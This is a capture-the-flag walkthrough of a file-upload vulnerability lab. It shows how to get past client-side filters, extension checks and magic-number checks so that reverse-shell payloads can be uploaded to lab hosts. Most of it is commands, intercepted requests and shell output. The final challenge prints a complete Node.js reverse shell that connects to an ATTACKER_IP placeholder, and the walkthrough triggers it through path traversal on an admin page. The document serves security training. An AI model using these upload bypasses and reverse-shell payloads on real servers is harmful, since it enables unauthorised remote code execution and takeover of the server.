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Upload Vulnerabilities

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Attack Methodology

To tackle file upload challenges, begin by examining the website to identify its technology and potential attack vectors (e.g. upload pages), using tools like Wappalyzer or Burpsuite to gather information from headers and server responses (e.g. server, x-powered-by).

Locate an upload page and review its client-side scripts for filters.

Perform a test upload with an innocent file to understand how the website processes and stores uploads (upload dir, embedding, naming scheme), using tools like Gobuster to find uploaded file locations (-x switch in Gobuster).

Once the upload behavior is understood, attempt to bypass client-side filters with a malicious file and analyze any server-side rejection for clues.

Common server-side filters include extension whitelists/blacklists, magic number checks, MIME type validation, or file size restrictions, which can be identified through systematic testing, such as altering file attributes (e.g. invalid file extension, magic number, file size) or intercepting upload requests (e.g. change MIME type with BurpSuite). Use this information to refine your approach and improve the likelihood of a successful exploit.

Remote Code Execution (RCE)

gobuster dir -u http://shell.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 > shell.uploadvulns.dirs

# /resources	(Status: 301) [Size: 334] [--> http://shell.uploadvulns.thm/resources/]
# /assets		(Status: 301) [Size: 331] [--> http://shell.uploadvulns.thm/assets/]

webshells # on Kali

cp /usr/share/webshells/php/php-reverse-shell.php .

# open the file and change the IP to THM VPN tunnel IP
# upload the file to http://shell.uploadvulns.thm/

nc -nvlp 1234

# Open
# http://shell.uploadvulns.thm/resources/php-reverse-shell.php

# Reverse shell
cat /var/www/flag.txt

Client-Side filtering bypass

client-side-filter.js

  • Waits for the window to load.

  • Sets up an event listener on a file input.

  • Validates that the selected file is a PNG image.

  • Displays the file name if valid or clears and hides input if invalid.

  • Manages UI feedback using additional functions (error, success).

window.onload = function(){
	var upload = document.getElementById("fileSelect");
	var responseMsg = document.getElementsByClassName("responseMsg")[0];
	var errorMsg = document.getElementById("errorMsg");
	var uploadMsg = document.getElementById("uploadtext");
	upload.value="";
	upload.addEventListener("change",function(event){
		var file = this.files[0];
		responseMsg.style = "display:none;";
		if (file.type != "image/png"){
			upload.value = "";
			uploadMsg.style = "display:none;";
			error();
		} else{
			uploadMsg.innerHTML = "Chosen File: " + upload.value.split(/(\\|\/)/g).pop();
			responseMsg.style="display:none;";
			errorMsg.style="display:none;";
			success();
		}
	});
};

  • Find the images upload directory:

gobuster dir -u http://java.uploadvulns.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64

# /images (Status: 301) [Size: 329] [--> http://java.uploadvulns.thm/images/]
# /assets	(Status: 301) [Size: 329] [--> http://java.uploadvulns.thm/assets/]

  • Try to upload a .png file and check correct uploading at http://java.uploadvulns.thm/images

    • (2nd option: prevent client-side-filter.js file from being loaded by intercepting the response with Burp)

  • Change php-reverse-shell.php extension and catch the upload request with BurpSuite

    • as the MIME type (based on the file extension) automatically checks out, the Client-Side filter lets the payload through without complaining

cp php-reverse-shell.php shell.png

  • In the intercepted request, change the to filename and the Content-Type to the following values and then forward the request

filename="shell.php"
Content-Type: text/x-php
rlwrap nc -nvlp 1234

# Rev Shell
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ cat /var/www/flag.txt

Server-Side filtering bypass - extensions

📌 "The key to bypassing any kind of server side filter is to enumerate and see what is allowed, as well as what is blocked; then try to craft a payload which can pass the criteria the filter is looking for."

  • Find the assets folder

gobuster dir -u http://annex.uploadvulns.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64
nc -nvlp 1234

# Rev Shell
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ cat /var/www/flag.txt

Server-Side filtering bypass - magic numbers

📌 Magic numbers, the initial hex digits in a file, can validate file uploads by matching against a whitelist or blacklist, though their reliability varies by webserver type.

gobuster dir -u http://magic.uploadvulns.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64
cp shell.php magic.php

file magic.php
	shell.php: PHP script, ASCII text

nano magic.php
# add as first line, a number of random bytes = number of chosen magic number (GIF87a)
# in this case
# AAAAAA

hexeditor magic.php
# Modify the Hex signature to be 47 49 46 38 37 61

file magic.php
	shell.php: GIF image data, version 87a, 15370 x 28735
nc -nvlp 1234

# Rev Shell
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ cat /var/www/flag.txt

Final challenge - Jewel

gobuster dir -u http://jewel.uploadvulns.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://jewel.uploadvulns.thm/
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/content              (Status: 301) [Size: 181] [--> /content/]
/modules              (Status: 301) [Size: 181] [--> /modules/]
/admin                (Status: 200) [Size: 1238]
/assets               (Status: 301) [Size: 179] [--> /assets/]
/Content              (Status: 301) [Size: 181] [--> /Content/]
/Assets               (Status: 301) [Size: 179] [--> /Assets/]
/Modules              (Status: 301) [Size: 181] [--> /Modules/]
/Admin                (Status: 200) [Size: 1238]
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1234, "<ATTACKER_IP>", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();

  • Check source code and the available .js files


<!DOCTYPE html>
<html>
	<head>
		<title>Jewel</title>
		<meta charset="utf-8">
		<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
		<link type="text/css" rel="stylesheet" href="assets/css/style.css">
		<link type="text/css" rel="stylesheet" href="assets/css/cinzel.css">
		<link type="text/css" rel="stylesheet" href="assets/css/exo.css">
		<link type="text/css" rel="stylesheet" href="assets/css/icons.css">
		<link type="image/x-icon" rel="shortcut icon" href="assets/favicon.ico">
		<script src="assets/js/jquery-3.5.1.min.js"></script>
		<script src="assets/js/jquery.colour-2.2.0.min.js"></script>
		<script src="assets/js/upload.js"></script>
		<script src="assets/js/backgrounds.js"></script>
	</head>
	<body>
		<div id="one" class="background"></div>
		<div id="two" class="background" style="display:none;"></div>
		<div id="three" class="background" style="display:none;"></div>
		<div id="four" class="background" style="display:none;"></div>
		<main>
			<object ondragstart="return false;" ondrop="return false;" id="title" data="/assets/title.svg" type="image/svg+xml"></object>
			<p>Have you got a nice image of a gem or a jewel?<br>Upload it here and we'll add it to the slides!</p>
			<button class="Btn" id="uploadBtn"><i id="uploadIcon" class="material-icons">backup</i> Select and Upload</button>
			<input id="fileSelect" type="file" name="fileToUpload" accept="image/jpeg">
		</main>
		<p id="responseMsg" style="display:none;"></p>
	</body>
</html>

  • http://jewel.uploadvulns.thm/assets/js/upload.js

    • File Validation:

      • File Size Check: Ensures the file size is less than 50 KB.

      • Magic Number Check: Validates the file’s magic number to ensure it's a JPEG image (ÿØÿ).

      • File Extension Check: Confirms the file extension is .jpg or .jpeg.

$(document).ready(function() {
    let errorTimeout;
    const fadeSpeed = 1000;

    function setResponseMsg(responseTxt, colour) {
        $("#responseMsg").text(responseTxt);
        if (!$("#responseMsg").is(":visible")) {
            $("#responseMsg").css({
                "color": colour
            }).fadeIn(fadeSpeed)
        } else {
            $("#responseMsg").animate({
                color: colour
            }, fadeSpeed)
        }
        clearTimeout(errorTimeout);
        errorTimeout = setTimeout(() => {
            $("#responseMsg").fadeOut(fadeSpeed)
        }, 5000)
    }
    $("#uploadBtn").click(function() {
        $("#fileSelect").click()
    });
    $("#fileSelect").change(function() {
        const fileBox = document.getElementById("fileSelect").files[0];
        const reader = new FileReader();
        reader.readAsDataURL(fileBox);
        reader.onload = function(event) {

            //Check File Size
            if (event.target.result.length > 50 * 8 * 1024) {
                setResponseMsg("File too big", "red");
                return;
            }
            //Check Magic Number
            if (atob(event.target.result.split(",")[1]).slice(0, 3) != "ÿØÿ") {
                setResponseMsg("Invalid file format", "red");
                return;
            }
            //Check File Extension
            const extension = fileBox.name.split(".")[1].toLowerCase();
            if (extension != "jpg" && extension != "jpeg") {
                setResponseMsg("Invalid file format", "red");
                return;
            }


            const text = {
                success: "File successfully uploaded",
                failure: "No file selected",
                invalid: "Invalid file type"
            };
            $.ajax("/", {
                data: JSON.stringify({
                    name: fileBox.name,
                    type: fileBox.type,
                    file: event.target.result
                }),
                contentType: "application/json",
                type: "POST",
                success: function(data) {
                    let colour = "";
                    switch (data) {
                        case "success":
                            colour = "green";
                            break;
                        case "failure":
                        case "invalid":
                            colour = "red";
                            break
                    }
                    setResponseMsg(text[data], colour)
                }
            })
        }
    })
});

  • Trying to upload a valid jpeg file this is the BurpSuite POST request

POST / HTTP/1.1
Host: jewel.uploadvulns.thm
Content-Length: 9124
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Sec-GPC: 1
Accept-Language: en-US,en;q=0.7
Origin: http://jewel.uploadvulns.thm
Referer: http://jewel.uploadvulns.thm/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive


{"name":"thm.jpeg","type":"image/jpeg","file":"data:image/jpeg;base64,/9j/4AAQSkZ...UREQEREH//Z"}

  • The home webpage load some background images with this name structure XXX.jpg from the /content dir

  • Try to find all jpg/jpeg files using the provided UploadVulnsWordlist_1593564107766.txt

gobuster dir -u http://jewel.uploadvulns.thm/content -w UploadVulnsWordlist_1593564107766.txt -t 64 -x jpg

/ABH.jpg              (Status: 200) [Size: 705442]
/ASK.jpg              (Status: 200) [Size: 6789]
/KLK.jpg              (Status: 200) [Size: 6789]
/LKQ.jpg              (Status: 200) [Size: 444808]
/OHC.jpg              (Status: 200) [Size: 6789]
/SAD.jpg              (Status: 200) [Size: 247159]
/UAD.jpg              (Status: 200) [Size: 342033]

  • One of the files happens to be the same uploaded image, so there is a naming scheme

Client-Side filtering bypass

  • To upload a valid file and bypass client-side filtering, use BurpSuite

    • Open the homepage at http://jewel.uploadvulns.thm/

    • Turn on BurpSuite proxy intercept and do a refresh with SHIFT+F5 of the homepage

    • Forward until intercepting the upload.js script and right-click to Do intercept Response to this request

    • Remove the check functions from the response and forward all

  • Forwarded upload.js:

$(document).ready(function() {
    let errorTimeout;
    const fadeSpeed = 1000;

    function setResponseMsg(responseTxt, colour) {
        $("#responseMsg").text(responseTxt);
        if (!$("#responseMsg").is(":visible")) {
            $("#responseMsg").css({
                "color": colour
            }).fadeIn(fadeSpeed)
        } else {
            $("#responseMsg").animate({
                color: colour
            }, fadeSpeed)
        }
        clearTimeout(errorTimeout);
        errorTimeout = setTimeout(() => {
            $("#responseMsg").fadeOut(fadeSpeed)
        }, 5000)
    }
    $("#uploadBtn").click(function() {
        $("#fileSelect").click()
    });
    $("#fileSelect").change(function() {
        const fileBox = document.getElementById("fileSelect").files[0];
        const reader = new FileReader();
        reader.readAsDataURL(fileBox);
        reader.onload = function(event) {
            const text = {
                success: "File successfully uploaded",
                failure: "No file selected",
                invalid: "Invalid file type"
            };
            $.ajax("/", {
                data: JSON.stringify({
                    name: fileBox.name,
                    type: fileBox.type,
                    file: event.target.result
                }),
                contentType: "application/json",
                type: "POST",
                success: function(data) {
                    let colour = "";
                    switch (data) {
                        case "success":
                            colour = "green";
                            break;
                        case "failure":
                        case "invalid":
                            colour = "red";
                            break
                    }
                    setResponseMsg(text[data], colour)
                }
            })
        }
    })
});

  • Another way is to modify jewel.js to make it a JPEG file under 50 KB with the magic number FF D8 FF DB and a .jpg extension

file jewel.js
	jewel.js: JavaScript source, ASCII text

cp jewel.js jewel.jpg

nano jewel.jpg
# add as first line, a number of random bytes = number of necessary magic number (ÿØÿÛ)
# in this case
# AAAA

hexeditor jewel.jpg
# Modify the Hex signature to be FF D8 FF DB

file jewel.jpg
	jewel.jpg: JPEG image data

  • Upload the jewel.jpg file - Successful upload

  • It will not work when launched via the Admin page because it is not recognized as a js script

cp jewel.js jewel.jpg

file jewel.jpg
	jewel.jpg: JavaScript source, ASCII text

  • Upload the jewel.jpg file - Successful upload because server-side only checks for MIME type (file extension)

  • Find the file with Gobuster

gobuster dir -u http://jewel.uploadvulns.thm/content -w UploadVulnsWordlist_1593564107766.txt -t 64 -x jpg

/ABH.jpg              (Status: 200) [Size: 705442]
/ASK.jpg              (Status: 200) [Size: 6789]
/DQF.jpg              (Status: 200) [Size: 382]
/KLK.jpg              (Status: 200) [Size: 6789]
/LKQ.jpg              (Status: 200) [Size: 444808]
/OHC.jpg              (Status: 200) [Size: 6789]
/SAD.jpg              (Status: 200) [Size: 247159]
/UAD.jpg              (Status: 200) [Size: 342033]

  • Start a nc listener on the port setup in the jewel.js payload file

  • Open the found admin page at http://jewel.uploadvulns.thm/admin

    • try to enter the file name to execute as is DQF.jpg - not working

    • try to use the path to the file ../content/DQF.jpg - Success, received reverse shell

nc -nvlp 1234

# Rev Shell
pwd
/var/www/html
cat /var/www/flag.txt
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